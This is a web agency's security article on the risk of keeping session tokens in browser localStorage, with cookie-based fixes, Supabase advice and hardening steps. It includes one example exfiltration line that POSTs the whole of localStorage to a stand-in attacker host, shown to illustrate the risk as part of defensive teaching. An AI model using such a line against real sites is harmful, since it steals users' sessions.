AleannLab

Session Tokens in localStorage: What an Injected Script Can Take

AleannLab team3 min read

localStorage is readable by every script that runs on your page: your code, your dependencies, your analytics tags, and anything an attacker manages to inject. A session token stored there can be copied out in one line and used from the attacker's machine until it expires. A cookie marked HttpOnly cannot be read by JavaScript at all. For apps with a server, keep session tokens in HttpOnly, Secure, SameSite cookies. Where that is not possible, shorten token lifetimes and treat XSS prevention as critical.

On this page
  1. What the risk is, concretely
  2. Check your app
  3. Move the session into a cookie
  4. If you use Supabase
  5. Never in browser storage
  6. Reduce exposure whichever way you store it

The pattern is in countless tutorials, so AI tools reproduce it:

TypeScript
const { token } = await login(email, password);
localStorage.setItem('token', token);
// later
fetch('/api/me', { headers: { Authorization: `Bearer ${localStorage.getItem('token')}` } });

What the risk is, concretely

One cross-site scripting bug, or one compromised npm package or third-party script, and this runs in your users' browsers:

JavaScript
fetch('https://evil.example/c', { method: 'POST', body: JSON.stringify(localStorage) });

The attacker now has tokens that work from anywhere, without the victim's browser, for as long as they are valid. If a long-lived refresh token is stored alongside, that can mean weeks.

To be fair to the other side of the argument: an HttpOnly cookie does not make XSS harmless. Injected code can still send requests from the victim's browser while the page is open. The difference is that the session cannot be carried away and used later, and the attack ends when the tab closes. That is a real reduction, not a cure. Preventing XSS stays the main job: see XSS in React and Next.js apps.

Check your app

Log in, open DevTools, go to Application, and look at Local Storage and Session Storage. Or in the console:

JavaScript
Object.entries(localStorage).filter(([k, v]) => /token|auth|session|jwt|eyJ/i.test(k + v));

Then look at Cookies and check the HttpOnly, Secure and SameSite columns for your session cookie.

In the code:

bash
grep -rnE "localStorage\.(setItem|getItem)\(['\"][^'\"]*(token|auth|session|jwt)" app src --include=*.ts --include=*.tsx

Set it on the server at login:

TypeScript
import { cookies } from 'next/headers';

(await cookies()).set('session', sessionToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  path: '/',
  maxAge: 60 * 60 * 24 * 7,
});

The browser now attaches it to requests to your origin on its own. Client code never sees it, and the Authorization header code can be deleted.

Cookies bring one new concern, cross-site request forgery, because they are sent automatically. SameSite=Lax handles most of it. The rest is in our post on CSRF.

If the frontend and the API are on different domains, put the API behind the same site (for example a /api rewrite or an api. subdomain of the same registrable domain) so the cookie can stay SameSite=Lax.

If you use Supabase

The Supabase browser client keeps the session in localStorage by default. For server-rendered frameworks, the @supabase/ssr package stores it in cookies so the server can read it. Those cookies are still managed by client-side code, so do not assume they are HttpOnly. Look in DevTools.

Either way, the practical defences are the same:

  • Row Level Security decides what a stolen token can reach, so make it tight. See Supabase RLS mistakes.
  • Keep the access token lifetime short (the default is an hour) and leave refresh token rotation on.
  • Put effort into XSS prevention and a Content Security Policy.

Never in browser storage

Session tokens are a judgement call. These are not:

Reduce exposure whichever way you store it

  • Short-lived access tokens, rotated refresh tokens, and server-side revocation so "log out everywhere" works.
  • A Content Security Policy that blocks inline scripts and limits where data can be sent (connect-src). See missing security headers.
  • Fewer third-party scripts. Each one has the same access to storage as your own code.
  • Re-authentication for sensitive actions such as changing the email or password.

If you want your session handling, cookies and XSS exposure reviewed together, that is part of our app rescue and security audit. The wider list is in our security checklist for vibe-coded apps.

All articles →

Gotowy, aby omówić swój projekt z nami?

idea
*
*
*
Interesuje mnie...
Tworzenie stron internetowych
Tworzenie aplikacji
Projektowanie UX/UI
DevOps
Sztuczna inteligencja i uczenie maszynowe
Testowanie QA
Tworzenie aplikacji mobilnych
Konsultacja
Outsourcing
Budżet projektu (USD)
≤ $5K
$10K-$20K
$30K-$40K
$50K-$60K
>$100K
Prześlij plik